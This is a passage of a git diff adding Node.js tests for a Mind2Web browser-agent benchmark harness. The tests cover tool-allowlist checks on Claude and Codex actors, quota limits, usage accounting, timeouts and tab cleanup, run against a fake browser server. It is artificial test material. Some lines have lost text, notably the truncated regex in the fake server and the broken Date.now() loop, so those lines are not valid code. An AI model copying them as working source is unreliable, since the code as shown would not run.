' \n\t ']) await t.test(JSON.stringify(text), async t => { + const f = await fixture(t); + const final = await f.run({ run: fakeClaude({ result: resultEvent({ result: text }) }) }); + assert.equal(final.outcome, 'no_answer'); assert.equal(final.final_answer, null); + assert.equal(final.error, 'Claude finished without a final answer'); + assert.deepEqual(final.usage, NORMALIZED); assert.equal(final.cleanup_ok, true); + }); +}); + +test('public mode gives the actor the 44-tool public profile, the public prompt and the public env flag', async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1' }); + const run = fakeClaude({ + onSpawn: async () => { + const opened = (await f.browserTools()).filter(row => row.name === 'open_tab'); + assert.ok(opened.some(row => row.args.url === task.website), 'The public start page is bootstrapped before spawn'); + }, + operate: async ({ actor, call }) => { + const tools = (await actor.request('tools/list')).tools; + assert.equal(tools.length, 44); + assert.ok(!tools.some(tool => ['wait_for_element', 'wait_for_stable'].includes(tool.name))); + assert.ok((await call('read_page')).content.some(block => block.type === 'image')); + await call('click', { selector: '#counter' }); + } }); + const final = await f.run({ run, publicRelease: true, publicCatalog, publicPins: { published_version: '0.11.2' } }); + const { seen } = run; + assert.equal(seen.env.FSB_BENCH_PUBLIC_RELEASE, '1'); + assert.equal(flag(seen.args, '--allowedTools'), prefixed(PUBLIC_ALLOWED_TOOLS).join(',')); + assert.equal(PUBLIC_ALLOWED_TOOLS.length, 44); + assert.match(seen.prompt, /may fall back to Google/); assert.match(seen.prompt, /Target elements with any selector/); + assert.match(seen.prompt, /Images may be downscaled before you see them/); + assert.equal(final.outcome, 'complete'); assert.equal(final.final_answer, ANSWER); + assert.equal(final.profile, 'browser-manual-public-v1'); assert.equal(final.public_release, true); + assert.equal(final.public_catalog.tool_count, 44); assert.equal(final.provider_error, null); + assert.equal(final.init.tools.length, 44); assert.equal(final.tool_calls, 2); + assert.equal(final.action_count, 2, 'Public read_page consumes the UI budget'); assert.equal(final.cleanup_ok, true); +}); + +test('quotaHeadroom returns the pressured window with the latest reset and ignores cool, expired or unknown windows', () => { + const now = 1_800_000_000, limits = { five_hour: 0.9, seven_day: 0.97 }; + const info = unifiedWindows => ({ status: 'allowed', resetsAt: now + 3600, rateLimitType: 'five_hour', unifiedWindows }); + const row = (utilization, resetsAt) => ({ utilization, resetsAt }); + assert.deepEqual(quotaHeadroom(info({ five_hour: row(0.95, now + 3 * 3600), seven_day: row(0.99, now + 4 * 86400) }), limits, now), + { window: 'seven_day', utilization: 0.99, limit: 0.97, resetsAt: now + 4 * 86400 }, 'Both windows pressured: the later reset wins'); + assert.equal(quotaHeadroom(info({ five_hour: row(0.95, now + 7200), seven_day: row(0.98, now + 3600) }), limits, now).window, 'five_hour', + 'Windows are ranked by reset time, not by name'); + assert.deepEqual(quotaHeadroom(info({ five_hour: row(0.9, now + 3600), seven_day: row(0.969, now + 86400) }), limits, now), + { window: 'five_hour', utilization: 0.9, limit: 0.9, resetsAt: now + 3600 }, 'The threshold itself counts; a window below it does not'); + assert.equal(quotaHeadroom(info({ five_hour: row(0.899, now + 3600), seven_day: row(0.969, now + 86400) }), limits, now), null); + for (const resetsAt of [now, now - 1]) + assert.equal(quotaHeadroom(info({ five_hour: row(1, resetsAt) }), limits, now), null, `A window whose reset has arrived (${resetsAt - now}s) is ignored`); + assert.deepEqual(quotaHeadroom(info({ five_hour: row(1, now - 1), seven_day: row(0.99, now + 60) }), limits, now), + { window: 'seven_day', utilization: 0.99, limit: 0.97, resetsAt: now + 60 }, 'An expired window does not hide one that is still pressured'); + assert.equal(quotaHeadroom(info({ seven_day_overage_included: row(1, now + 3600) }), limits, now), null, 'Windows without a configured limit are ignored'); + for (const missing of [undefined, null, {}, { status: 'allowed' }, { unifiedWindows: null }, info({})]) + assert.equal(quotaHeadroom(missing, limits, now), null, JSON.stringify(missing)); + const future = epoch() + 3600; + assert.equal(quotaHeadroom(info({ five_hour: row(QUOTA_HEADROOM.five_hour, future) })).limit, QUOTA_HEADROOM.five_hour, 'Defaults come from the family config'); + assert.equal(quotaHeadroom(info({ five_hour: row(QUOTA_HEADROOM.five_hour - 0.01, future) })), null); +}); + +test('claudeToolViolation admits only prefixed profile tools from the fsb server', () => { + const init = (tools, servers = [{ name: 'fsb', status: 'connected' }]) => ({ type: 'system', subtype: 'init', tools, mcp_servers: servers }); + const assistant = (...content) => ({ type: 'assistant', message: { content } }); + assert.equal(claudeToolViolation(init(prefixed(ALLOWED_TOOLS)), ALLOWED_TOOLS), null); + assert.equal(claudeToolViolation(init([...prefixed(ALLOWED_TOOLS), 'Bash', 'mcp__fsb__upload_file']), ALLOWED_TOOLS), + 'Unexpected Claude tools: Bash, mcp__fsb__upload_file'); + assert.equal(claudeToolViolation(init(['read_page', 'mcp__other__read_page']), ALLOWED_TOOLS), 'Unexpected Claude tools: read_page, mcp__other__read_page'); + assert.equal(claudeToolViolation(init(prefixed(ALLOWED_TOOLS), [{ name: 'fsb', status: 'connected' }, { name: 'claude.ai Gmail', status: 'connected' }]), ALLOWED_TOOLS), + 'Unexpected MCP servers: claude.ai Gmail'); + assert.equal(claudeToolViolation(assistant({ type: 'text', text: 'Reading.' }, { type: 'tool_use', name: 'mcp__fsb__read_page' }), ALLOWED_TOOLS), null); + // Names outside the init inventory cannot run; only server-side tools stop the actor. + assert.equal(claudeToolViolation(assistant({ type: 'tool_use', name: 'mcp__fsb__upload_file' }), ALLOWED_TOOLS), null); + assert.equal(claudeToolViolation(assistant({ type: 'server_tool_use', name: 'web_search' }), ALLOWED_TOOLS), 'Disallowed server tool: web_search'); + assert.equal(claudeToolViolation(assistant({ type: 'tool_use', name: 'mcp__fsb__wait_for_stable' }), PUBLIC_ALLOWED_TOOLS), null); + assert.deepEqual(invalidToolRequests(assistant({ type: 'tool_use', name: 'mcp__fsb__read_page' }, { type: 'tool_use', name: 'mcp__fsb__triple_click_placeholder' }, + { type: 'tool_use', name: 'mcp__fsb__wait_for_stable' }), PUBLIC_ALLOWED_TOOLS), ['mcp__fsb__triple_click_placeholder', 'mcp__fsb__wait_for_stable']); + assert.deepEqual(invalidToolRequests(init(prefixed(ALLOWED_TOOLS)), ALLOWED_TOOLS), []); + assert.equal(claudeToolViolation({ type: 'user', message: { content: [{ type: 'tool_result', tool_use_id: 'x' }] } }, ALLOWED_TOOLS), null); +}); + +test('normalizeClaudeUsage folds cache reads and writes into input under the shared cached-token key', () => { + assert.equal(normalizeClaudeUsage(null), null); assert.equal(normalizeClaudeUsage(undefined), null); + assert.deepEqual(normalizeClaudeUsage(USAGE), NORMALIZED); + assert.deepEqual(normalizeClaudeUsage({ input_tokens: 7, output_tokens: 3 }), + { input_tokens: 7, cached_input_tokens: 0, cache_creation_input_tokens: 0, uncached_input_tokens: 7, output_tokens: 3, thinking_tokens: null }); + assert.deepEqual(normalizeClaudeUsage({ cache_read_input_tokens: 50, output_tokens_details: { thinking_tokens: 9 } }), + { input_tokens: 50, cached_input_tokens: 50, cache_creation_input_tokens: 0, uncached_input_tokens: 0, output_tokens: 0, thinking_tokens: 9 }); +}); diff --git a/mind2web/harness/test/manual-driver.test.mjs b/mind2web/harness/test/manual-driver.test.mjs new file mode 100644 index 000000000..07d1c498f --- /dev/null +++ b/mind2web/harness/test/manual-driver.test.mjs @@ -0,0 +1,409 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, readFile, writeFile, rm, stat } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { createConnection } from 'node:net'; +import { createInterface } from 'node:readline'; +import { fileURLToPath } from 'node:url'; +import { createRequire } from 'node:module'; +import { runManualCodexTask } from '../driver-codex-manual.mjs'; +import { BrowserScheduler } from '../browser-scheduler.mjs'; +import { resultData, resultOK } from '../mcp-record-proxy.mjs'; +import { verifyPublicDisposition } from '../public-disposition.mjs'; + +const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); +const task = { task_id: 'fixture', website: 'https://fixture.test/', confirmed_task: 'Change the visible counter to one' }; +const pngModule = fileURLToPath(new URL('../png.mjs', import.meta.url)); +const toolsFile = fileURLToPath(new URL('../../../extension/ai/tool-definitions.js', import.meta.url)); +const { TOOL_REGISTRY } = createRequire(import.meta.url)(toolsFile); +const publicCatalog = { tools: TOOL_REGISTRY.filter(tool => !['wait_for_element', 'wait_for_stable'].includes(tool.name)) }; +const browserSource = ` +import { createInterface } from 'node:readline'; +import { appendFileSync } from 'node:fs'; +import { createHash } from 'node:crypto'; +import { createRequire } from 'node:module'; +import { encodeSolidPng } from ${JSON.stringify(pngModule)}; +const { TOOL_REGISTRY } = createRequire(import.meta.url)(${JSON.stringify(toolsFile)}); +const tabs = new Map(); let next = 100, active = null, initialized = false, captures = 0, readiness = 0, clicks = 0; +const log = row => appendFileSync(process.env.FIXTURE_LOG, JSON.stringify(row) + '\\n'); +const reply = value => ({ content:[{type:'text',text:JSON.stringify(value)}] }); +const error = value => ({ ...reply({success:false,...value}), isError:true }); +log({type:'started',pid:process.pid}); process.on('exit', () => log({type:'exited',pid:process.pid})); +process.on('SIGTERM', () => process.exit(0)); +async function handle(method, params) { + if (method === 'initialize') { initialized = true; return { protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'browser-double',version:'1'} }; } + if (method === 'tools/list') return {tools:process.env.FIXTURE_PUBLIC_MODE ? TOOL_REGISTRY.filter(t=>!['wait_for_element','wait_for_stable'].includes(t.name)) : TOOL_REGISTRY}; + if (method !== 'tools/call') return {}; + const {name,arguments:args={}} = params; const id = args.tab_id ?? args.tabId; + log({type:'tool',name,args}); + if (process.env.FIXTURE_STRICT_INIT && !initialized) return error({code:'NOT_INITIALIZED',error:'Initialize this same upstream first'}); + if (name === 'list_tabs') { + readiness++; + if (readiness <= Number(process.env.FIXTURE_RELAY_POLLS || 0)) return error({error:'extension_not_connected'}); + return reply({success:true,tabs:[...tabs.values()].map(t=>({id:t.id,title:'Fixture',domain:'fixture.test',windowId:1}))}); + } + if (name === 'open_tab') { + if (readiness < Number(process.env.FIXTURE_RELAY_POLLS || 0)) return error({error:'extension_not_connected'}); + const tab={id:++next,url:args.url,state:0}; tabs.set(tab.id,tab); active=tab.id; return reply({success:true,tabId:tab.id,url:tab.url}); + } + if (name === 'close_tab') { + if (process.env.FIXTURE_CLOSE_FAIL) return error({error:'Primary close timeout'}); + if (process.env.FIXTURE_CLOSE_TIMEOUT_TASK && tabs.get(id)?.url?.startsWith('https://fixture.test/')) { + tabs.delete(id); log({type:'hung_close',tabId:id}); + return {isError:true,content:[{type:'text',text:'Detected: Page navigation\\nWhy: Request mcp_1 (mcp:execute-action) timed out after 30000ms\\nNext action: Refresh page state.'}]}; + } + tabs.delete(id); return reply({success:true,closed:true,tabId:id}); + } + if (name === 'switch_tab') { if (!tabs.has(id)) return error({code:'TAB_NOT_OWNED',error:'Wrong task tab'}); active=id; return reply({success:true,tabId:id}); } + const tab=tabs.get(id); if (!tab) return error({code:'TAB_NOT_OWNED',error:'No such task tab'}); + if (name === 'capture_screenshot') { + captures++; + if (active !== id) return error({error:'Wrong foreground tab'}); + if (captures === Number(process.env.FIXTURE_FAIL_CAPTURE_EXACT)) return error({code:'SCREENSHOT_CAPTURE_FAILED',error:'Settled fixture capture failure'}); + if (captures === Number(process.env.FIXTURE_TRANSIENT_CAPTURE_EXACT)) return error({code:'SCREENSHOT_CAPTURE_FAILED',error:'Frame with ID 0 was removed.',retryable:false}); + if (captures === Number(process.env.FIXTURE_FOREIGN_VISIBLE_CAPTURE_EXACT)) return error({code:'SCREENSHOT_CAPTURE_FAILED',error:'Cannot access contents of the page. Extension manifest must request permission to access the respective host.',retryable:false}); + if (tab.url.startsWith('https://fixture.test/') && captures >= Number(process.env.FIXTURE_UNRESPONSIVE_CAPTURE_FROM || Infinity) + && captures <= Number(process.env.FIXTURE_UNRESPONSIVE_CAPTURE_UNTIL || Infinity)) + return {isError:true,content:[{type:'text',text:'Detected: Page responsiveness\\nWhy: The current page did not respond before the page-read deadline.\\nNext action: Use navigate or close_tab to recover the tab. Inspect page state before repeating any mutation.\\n\\nRaw error: The page did not respond before the capture deadline. Navigate or close the tab to recover it.'}]}; + if (captures > Number(process.env.FIXTURE_BAD_CAPTURE_AFTER || Infinity)) return error({code:'PAGE_UNRESPONSIVE',error:'Capture deadline',cleanup_pending:process.env.FIXTURE_CLEANUP_PENDING === '1'}); + const height=process.env.FIXTURE_PUBLIC_MODE ? 120 : 80; + const bytes=encodeSolidPng(100,height,[tab.state,20,30]); + return {content:[{type:'text',text:JSON.stringify({capture_id:'capture-'+captures,source_url:tab.url,timestamp:new Date().toISOString(),mode:'viewport', + css_rect:{x:0,y:0,width:100,height},output_width:100,output_height:height,byte_length:bytes.length, + sha256:createHash('sha256').update(bytes).digest('hex'),effective_emulation:{device_mode:'current',device_scale_factor:1}})}, + {type:'image',mimeType:'image/png',data:bytes.toString('base64')}]}; + } + if (name === 'get_text' && process.env.FIXTURE_PUBLIC_MODE && new URL(tab.url).hostname === '127.0.0.1') { + const text=await (await fetch(tab.url)).text(); + return reply({success:true,text:text.match(/]*>([^<]+)<\\/main>/)[1]}); + } + if (name === 'execute_js') return reply({success:true,result:JSON.stringify({url:tab.url,x:0,y:0,width:100,height:80,dpr:1})}); + if (name === 'read_page' || name === 'get_page_snapshot') { + if (process.env.FIXTURE_READ_DELAY) await new Promise(resolve=>setTimeout(resolve,Number(process.env.FIXTURE_READ_DELAY))); + return reply({success:true,content:'Counter='+tab.state}); + } + if (name === 'click') { + clicks++; tab.state++; + if (process.env.FIXTURE_UNKNOWN_ONCE && clicks === 1) return error({error:'Action outcome unknown',execution_outcome:'unknown',mayHaveExecuted:true}); + if (process.env.FIXTURE_DISCONNECT_ON_CLICK) { process.stdout.write('not-json\\n'); return new Promise(()=>{}); } + return reply({success:true,state:tab.state}); + } + return reply({success:true}); +} +const input=createInterface({input:process.stdin}); +input.on('line',line=>{ let msg;try{msg=JSON.parse(line);}catch{return;} + if (msg.id === undefined) return; + handle(msg.method,msg.params).then(result=>process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:msg.id,result})+'\\n'), + error=>process.stdout.write(JSON.stringify({jsonrpc:'2.0',id:msg.id,error:{code:-32603,message:error.message}})+'\\n')); +}); +`; + +function configuration(args, key) { return JSON.parse(args.find(arg => arg.startsWith(key + '=')).slice(key.length + 1)); } +async function connectActor(args) { + const socket = createConnection(configuration(args, 'mcp_servers.fsb.args')[1]); + await new Promise((resolve, reject) => { socket.once('connect', resolve); socket.once('error', reject); }); + const lines = createInterface({ input: socket }), pending = new Map(); let id = 0; + lines.on('line', line => { const value = JSON.parse(line); const p = pending.get(value.id); if (!p) return; pending.delete(value.id); value.error ? p.reject(new Error(value.error.message)) : p.resolve(value.result); }); + const request = (method, params = {}) => new Promise((resolve, reject) => { const key = ++id; pending.set(key, { resolve, reject }); socket.write(JSON.stringify({jsonrpc:'2.0',id:key,method,params})+'\n'); }); + await request('initialize', {protocolVersion:'2024-11-05',capabilities:{},clientInfo:{name:'fake-codex',version:'1'}}); + socket.write(JSON.stringify({jsonrpc:'2.0',method:'notifications/initialized'})+'\n'); + return { request, call: (name,args={}) => request('tools/call',{name,arguments:args}), close() { lines.close(); socket.destroy(); } }; +} + +async function fixture(t, env = {}) { + const dir = await mkdtemp(path.join(tmpdir(), 'manual-driver-test-')); + const server = path.join(dir, 'browser.mjs'), log = path.join(dir, 'browser-log.jsonl'); + await writeFile(server, browserSource); + t.after(() => rm(dir, { recursive: true, force: true })); + const options = { task, rawDir: path.join(dir, 'raw'), serverCommand: [process.execPath, server], + env: { ...process.env, FIXTURE_LOG: log, ...env } }; + return { dir, log, options, run: async extra => { + const final = await runManualCodexTask({ ...options, ...extra }); + if (extra?.run?.fixtureError) throw extra.run.fixtureError; + return final; + }, + events: async () => (await readFile(log, 'utf8')).trim().split('\n').map(JSON.parse), + steps: async () => (await readFile(path.join(dir, 'raw/steps.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse) }; +} +function fakeActor(operate, result = {}) { + const run = async (_command, args, options) => { + const emit = event => options.onStdout(JSON.stringify(event)+'\n'); + emit({type:'thread.started',thread_id:'fake-session'}); + const actor = await connectActor(args); + try { + await actor.request('tools/list'); + const call = async (name, params = {}) => { + const id = 'item-'+Math.random(); emit({type:'item.started',item:{id,type:'mcp_tool_call',server:'fsb',tool:name}}); + const value=await actor.call(name,params); emit({type:'item.completed',item:{id,type:'mcp_tool_call',server:'fsb',tool:name,result:value}}); return value; + }; + await operate({ actor, call, options, emit, args }); + if (!result.timedOut && !options.signal.aborted) { + await writeFile(args[args.indexOf('-o')+1], 'The observed fixture counter is one.'); + emit({type:'turn.completed',usage:{input_tokens:100,output_tokens:20}}); + } + return { code: options.signal.aborted ? 128 : 0, timedOut: false, ...result }; + } catch (error) { run.fixtureError = error; throw error; } + finally { actor.close(); } + }; + return run; +} + +test('driver uses one just-before-spawn permit and retains real RPC observations and cleanup', async t => { + const f=await fixture(t), order=[]; + const final=await f.run({beforeSpawn:async()=>{order.push('admit');return {allowed:true};},run:fakeActor(async({call,options})=>{ + order.push('actor'); assert.equal(options.timeoutMs <= 1_200_000, true); + await call('read_page'); const result=await call('click',{selector:'e1'}); + assert.ok(result.content.some(x=>x.type==='image')); + })}); + assert.deepEqual(order,['admit','actor']); assert.equal(final.outcome,'complete'); + assert.equal(final.cleanup_ok,true); assert.equal(final.actor_mutations_dispatched,1); assert.equal(final.action_count,1); + assert.equal(final.model_spawn_requested,true); assert.equal(final.session_id,'fake-session'); assert.equal(final.tool_calls,2); + const rows=await f.steps(); assert.equal(rows.length,3); assert.ok(rows.every(x=>x.screenshot_path)); + for (const row of rows) assert.ok((await stat(row.screenshot_path)).size>24); + assert.deepEqual(JSON.parse(await readFile(path.join(f.dir,'raw/final.json'))),final); + assert.equal((await f.events()).filter(x=>x.type==='exited').length,1); +}); + +test('public driver freezes44 tools and prepares the guard before admission while retaining native frames and exact cleanup', async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1' }), order = []; + const final = await f.run({ publicRelease: true, publicCatalog, publicPins: { published_version: '0.11.2' }, + beforeSpawn: async () => { + const opened = (await f.events()).filter(row => row.type === 'tool' && row.name === 'open_tab'); + assert.equal(opened.length, 1); assert.equal(opened[0].args.active, false); order.push('admit'); return { allowed: true }; + }, run: fakeActor(async ({ actor, call, options, args }) => { + order.push('actor'); assert.equal(options.env.FSB_BENCH_PUBLIC_RELEASE, '1'); + const tools = (await actor.request('tools/list')).tools; assert.equal(tools.length, 44); + assert.ok(!tools.some(tool => ['wait_for_element', 'wait_for_stable'].includes(tool.name))); + const prompt = await readFile(configuration(args, 'model_instructions_file'), 'utf8'); + assert.match(prompt, /may fall back to Google/); assert.match(prompt, /read_page can click consent UI/); + const observation = await call('read_page'); assert.ok(observation.content.some(block => block.type === 'image')); + assert.equal(resultData(await call('list_tabs')).find(row => row.tabs).tabs.length, 1, 'Guard is hidden from actor inventory'); + await call('click', { selector: '#counter' }); + }) }); + assert.deepEqual(order, ['admit', 'actor']); assert.equal(final.outcome, 'complete'); + assert.equal(final.public_release, true); assert.equal(final.profile, 'browser-manual-public-v1'); + assert.equal(final.public_catalog.tool_count, 44); assert.equal(final.cleanup_ok, true); + assert.equal(final.action_count, 2); assert.equal(final.actor_mutations_dispatched, 2); + const events = (await f.events()).filter(row => row.type === 'tool'), closes = events.filter(row => row.name === 'close_tab'); + assert.equal(closes.length, 2); assert.equal(events.at(-1).name, 'close_tab'); + assert.equal(events.at(-1).args.tab_id, 101, 'Causal guard closes last and no post-close inventory occurs'); + const meta = JSON.parse(await readFile(path.join(f.dir, 'raw/proxy-meta.json'))); + assert.equal(meta.child_cleanup.public_guard_drain.ok, true); assert.equal(meta.child_cleanup.public_guard_disposal.ok, true); + assert.equal(meta.child_cleanup.public_client_shutdown.client_closed, true); + assert.equal((await f.steps()).find(row => row.tool === 'read_page').kind, 'action'); +}); + +test('public driver cancels only the invalid actor after settled capture failure and preserves a verified separate health proof', async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1', FIXTURE_FAIL_CAPTURE_EXACT: '2' }), globalFaults = []; + const final = await f.run({ publicRelease: true, publicCatalog, onFault: detail => globalFaults.push(detail), + run: fakeActor(async ({ call }) => { + const failed = await call('read_page'); assert.equal(failed.isError, true); + assert.ok(!failed.content.some(block => block.type === 'image')); + assert.match(JSON.stringify(resultData(failed)), /Settled fixture capture failure/); + }) }); + assert.equal(final.outcome, 'capture_failure'); assert.equal(final.cleanup_ok, true); + assert.equal(final.fault.code, 'CAPTURE_FAILED'); assert.equal(final.uncertain_upstream, false); + assert.equal(final.provider_error, null, 'Expected local actor cancellation is not a provider fault'); + assert.deepEqual(globalFaults, []); assert.equal(final.actor_mutations_dispatched, 1); + assert.ok(await verifyPublicDisposition(path.join(f.dir, 'raw'), final)); + const events = (await f.events()).filter(row => row.type === 'tool'); + assert.equal(events.filter(row => row.name === 'read_page').length, 1); + assert.equal(events.filter(row => row.name === 'capture_screenshot').length, 3, 'Bootstrap, original failure and independent guard capture only'); + assert.equal(events.at(-1).name, 'close_tab'); + assert.equal((await f.steps()).filter(row => row.screenshot_path).length, 1, 'Independent health PNG never becomes actor trajectory evidence'); +}); + +test('public native-failure proof never hides genuine provider errors or an unexpected CLI exit', async t => { + for (const mode of ['provider-event', 'unexpected-exit']) await t.test(mode, async t => { + const f = await fixture(t, { FIXTURE_PUBLIC_MODE: '1', FIXTURE_FAIL_CAPTURE_EXACT: '2' }); + const final = await f.run({ publicRelease: true, publicCatalog, + run: fakeActor(async ({ call, emit }) => { + await call('read_page'); + if (mode === 'provider-event') emit({ type: 'turn.failed', error: { message: 'Usage limit reached; retry after reset', code: 'quota' } }); + }, mode === 'unexpected-exit' ? { code: 1 } : {}) }); + assert.equal(final.outcome, 'capture_failure'); assert.equal(final.cleanup_ok, true); + assert.ok(final.public_disposition, 'Original native cleanup/health proof is retained as raw evidence'); + assert.match(final.provider_error, mode === 'provider-event' ? /Usage limit reached/ : /exited unexpectedly with code 1/); + assert.match(final.error, /Settled fixture capture failure/); + assert.equal((await f.events()).filter(row => row.type === 'tool' && row.name === 'read_page').length, 1); + }); +}); + +test('denied admission launches no actor or page tool and closes its unstarted upstream', async t => { + const f=await fixture(t,{FIXTURE_STRICT_INIT:'1'}); let spawns=0; + const final=await f.run({beforeSpawn:async()=>({allowed:false}),run:async()=>{spawns++;throw new Error('Must not launch');}}); + assert.equal(spawns,0); assert.equal(final.outcome,'provider_pending'); assert.equal(final.model_spawn_requested,false); + assert.equal(final.actor_mutations_dispatched,0); assert.equal(final.cleanup_ok,true); + assert.equal((await f.events()).filter(x=>x.type==='tool').length,0); + assert.equal((await f.events()).filter(x=>x.type==='exited').length,1); +}); + +test('provider reset context survives selected error messages and later failure events without changing raw stream bytes', async t => { + const f = await fixture(t); + const events = [{ type: 'error', error: { message: "You've hit your usage limit. Try again at Oct 22nd, 2026 1:27 AM.", + code: 'usage_limit_reached', resetsAt: 1792640400, timezone: 'America/Chicago' } }, + { type: 'turn.failed', error: { message: 'Provider request failed', type: 'usage_limit_reached' } }]; + const raw = events.map(event => JSON.stringify(event)).join('\n') + '\n'; + const final = await f.run({ run: async (_command, _args, options) => { + options.onStdout(raw.slice(0, 37)); options.onStdout(raw.slice(37)); return { code: 1 }; + } }); + assert.equal(final.outcome, 'never_started'); assert.equal(final.cleanup_ok, true); + assert.match(final.error, /Oct 22nd, 2026 1:27 AM/); + assert.match(final.error, /"resetsAt":1792640400/); assert.match(final.error, /"timezone":"America\/Chicago"/); + assert.match(final.error, /Provider request failed/); assert.match(final.error, /"type":"turn.failed"/); + assert.equal(await readFile(path.join(f.dir, 'raw/stream.jsonl'), 'utf8'), raw); + assert.deepEqual(JSON.parse(await readFile(path.join(f.dir, 'raw/final.json'))), final); +}); + +test('same-upstream relay readiness polling precedes exactly one bootstrap open', async t => { + const f=await fixture(t,{FIXTURE_RELAY_POLLS:'2'}); + const final=await f.run({run:fakeActor(async({call})=>{await call('read_page');})}); + assert.equal(final.outcome,'complete'); assert.equal(final.cleanup_ok,true); + const tools=(await f.events()).filter(x=>x.type==='tool'), open=tools.findIndex(x=>x.name==='open_tab'); + assert.equal(tools.filter(x=>x.name==='open_tab').length,1); + assert.ok(tools.slice(0,open).filter(x=>x.name==='list_tabs').length>=3); +}); + +test('expired preparation never spawns an actor after the walltime deadline', async t => { + const f=await fixture(t); let spawns=0; + const final=await f.run({timeoutMs:10,beforeSpawn:async()=>{await wait(30);return {allowed:true};},run:async()=>{spawns++;return {code:0};}}); + assert.equal(spawns,0); assert.equal(final.outcome,'provider_pending'); assert.equal(final.model_spawn_requested,false); + assert.equal(final.cleanup_ok,true); +}); + +test('ordinary actor walltime remains timeout and keeps its recorded frames', async t => { + const f=await fixture(t); + const final=await f.run({run:fakeActor(async({call})=>{await call('read_page');},{timedOut:true,code:128})}); + assert.equal(final.outcome,'timeout'); assert.equal(final.final_answer,null); assert.equal(final.cleanup_ok,true); + assert.equal(final.actor_mutations_dispatched,0); assert.equal((await f.steps()).length,2); +}); + +test('completed unknown action needs emitted fresh state before another mutation, without replay', async t => { + const f=await fixture(t,{FIXTURE_UNKNOWN_ONCE:'1'}); let denied; + const final=await f.run({run:fakeActor(async({call})=>{ + await call('read_page'); assert.equal(resultOK(await call('click',{selector:'e1'})),false); + denied=await call('click',{selector:'e1'}); assert.equal(resultOK(denied),false); + assert.match(JSON.stringify(resultData(denied)),/verif|fresh|state/i); + assert.ok(resultOK(await call('get_page_snapshot'))); + assert.ok(resultOK(await call('click',{selector:'e1'}))); + })}); + assert.equal(final.outcome,'complete'); assert.equal(final.cleanup_ok,true); + assert.equal((await f.events()).filter(x=>x.type==='tool'&&x.name==='click').length,2); +}); + +test('ongoing transport uncertainty is preserved and halts new browser dispatch', async t => { + const f=await fixture(t,{FIXTURE_DISCONNECT_ON_CLICK:'1'}), scheduler=new BrowserScheduler(); + const final=await f.run({scheduler,run:fakeActor(async({call})=>{await call('read_page');await call('click',{selector:'e1'});})}); + assert.equal(final.uncertain_upstream,true); assert.ok(scheduler.halted); assert.equal(final.actor_mutations_dispatched,1); + const rows=await f.steps(); assert.equal(rows.at(-1).execution_outcome,'unknown'); + assert.equal((await f.events()).filter(x=>x.type==='tool'&&x.name==='click').length,1); +}); + +test('capture cleanup quarantine halts the global scheduler and never emits a replacement image', async t => { + const f=await fixture(t,{FIXTURE_BAD_CAPTURE_AFTER:'2',FIXTURE_CLEANUP_PENDING:'1'}), scheduler=new BrowserScheduler(); + const final=await f.run({scheduler,run:fakeActor(async({call})=>{ + await call('read_page');const failed=await call('click',{selector:'e1'});assert.ok(!failed.content.some(x=>x.type==='image')); + const before=(await f.events()).filter(x=>x.type==='tool').length; + for (const name of ['get_page_snapshot','list_tabs','get_site_guide']) assert.equal(resultOK(await call(name)),false); + assert.equal((await f.events()).filter(x=>x.type==='tool').length,before,'Global halt must also stop unleased reads and inventories'); + })}); + assert.ok(scheduler.halted); assert.equal(final.actor_mutations_dispatched,1); assert.equal(final.screenshot_errors,1); + assert.equal(final.cleanup_ok,false); + assert.equal((await f.events()).filter(x=>x.type==='tool'&&x.name==='close_tab').length,0,'Do not close a tab whose physical capture is unresolved'); + const rows=await f.steps(); assert.equal(rows.at(-1).screenshot_path,null); assert.ok(rows.at(-1).screenshot_error); + await assert.rejects(scheduler.run('unrelated',()=>assert.fail('No dispatch while cleanup is uncertain'))); +}); + +test('a failed primary close preserves original complete outcome and false cleanup', async t => { + const f=await fixture(t,{FIXTURE_CLOSE_FAIL:'1'}); + const final=await f.run({run:fakeActor(async({call})=>{await call('read_page');})}); + assert.equal(final.outcome,'complete'); assert.equal(final.cleanup_ok,false); assert.match(final.cleanup_error,/close/i); + assert.equal(final.final_answer,'The observed fixture counter is one.'); + assert.equal((await f.events()).filter(x=>x.type==='exited').length,1); +}); + +test('mutating call cap stops the third actor action without a third native dispatch', async t => { + const f=await fixture(t); + const final=await f.run({maxActions:2,run:fakeActor(async({call})=>{ + await call('read_page'); await call('click',{selector:'e1'}); await call('click',{selector:'e1'}); + assert.equal(resultOK(await call('click',{selector:'e1'})),false); + })}); + assert.equal(final.outcome,'step_limit'); assert.equal(final.action_count,2); assert.equal(final.actor_mutations_dispatched,2); + assert.equal((await f.events()).filter(x=>x.type==='tool'&&x.name==='click').length,2); + assert.equal(final.cleanup_ok,true); +}); + +test('a completed read cannot start focus or capture after another task globally halts browser work', async t => { + const f=await fixture(t,{FIXTURE_READ_DELAY:'100'}), scheduler=new BrowserScheduler(); + await f.run({scheduler,run:fakeActor(async({call})=>{ + const pending=call('read_page'); + const until=Date.now()+2000; + while (!(await f.events()).some(x=>x.type==='tool'&&x.name==='read_page')) { + assert.ok(Date.now()x.type==='tool'&&['switch_tab','capture_screenshot'].includes(x.name)).length; + scheduler.halt('Another task reports unresolved native capture cleanup'); + const result=await pending; + assert.ok(!result.content.some(x=>x.type==='image')); + assert.equal((await f.events()).filter(x=>x.type==='tool'&&['switch_tab','capture_screenshot'].includes(x.name)).length,before, + 'Deadline drain never bypasses a global health halt'); + })}); +}); + +test('a frame replaced during capture repeats only the observation and keeps the task healthy', async t => { + const f = await fixture(t, { FIXTURE_TRANSIENT_CAPTURE_EXACT: '2' }); + const final = await f.run({ run: fakeActor(async ({ call }) => { + const result = await call('click', { selector: 'e1' }); + assert.ok(result.content.some(block => block.type === 'image'), 'The retried capture still returns the observation'); + }) }); + assert.equal(final.outcome, 'complete'); assert.equal(final.cleanup_ok, true); assert.equal(final.fault, null); + const rows = await f.steps(), click = rows.find(row => row.tool === 'click'); + assert.ok(rows.every(row => row.screenshot_path)); + assert.equal(click.capture_retries.length, 1); assert.match(click.capture_retries[0].error, /Frame with ID 0 